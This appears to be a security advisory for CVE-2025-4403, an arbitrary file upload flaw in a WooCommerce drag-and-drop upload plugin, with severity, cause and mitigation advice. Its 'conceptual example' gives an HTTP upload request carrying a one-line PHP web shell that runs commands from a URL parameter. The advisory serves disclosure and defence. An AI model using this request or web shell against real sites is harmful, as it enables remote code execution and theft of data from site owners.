Overview
In the ever-evolving landscape of cybersecurity, the CVE-2025-4403 has emerged as a significant vulnerability that puts countless WooCommerce websites at risk. This vulnerability allows for arbitrary file uploads due to a lack of appropriate checks within the crucial upload() function of the Drag and Drop Multiple File Upload plugin for WooCommerce. This flaw renders all versions up to and including 1.1.6 vulnerable to potential system compromise or data leakage.
The severity of this vulnerability is underscored by its potential to enable unauthenticated attackers to upload arbitrary files on the affected site’s server. This could potentially make remote code execution possible, leading to severe security breaches.
Vulnerability Summary
CVE ID: CVE-2025-4403
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Drag and Drop Multiple File Upload for WooCommerce | <= 1.1.6 How the Exploit Works
The exploit takes advantage of the lack of real extension or MIME checks within the upload() function of the Drag and Drop Multiple File Upload for WooCommerce plugin. This lack of validation means that a user-supplied supported_type string and the uploaded filename are accepted without proper checks, allowing for the uploading of arbitrary files.
An attacker can leverage this vulnerability to upload malicious files, including scripts, to the server. Once uploaded, these malicious files can be executed on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
This is a conceptual example of how the vulnerability might be exploited:
POST /wp-content/plugins/drag-and-drop-multiple-file-upload-woocommerce/upload.php HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="malicious.php"
<?php echo shell_exec($_GET['cmd']); ?>In this example, a malicious PHP file that allows for arbitrary command execution is uploaded to the server. The attacker can later access this file and execute arbitrary commands on the server.
Mitigation Guidance
Users are strongly advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly monitoring server logs and disabling the plugin until a patch is available can also reduce risk.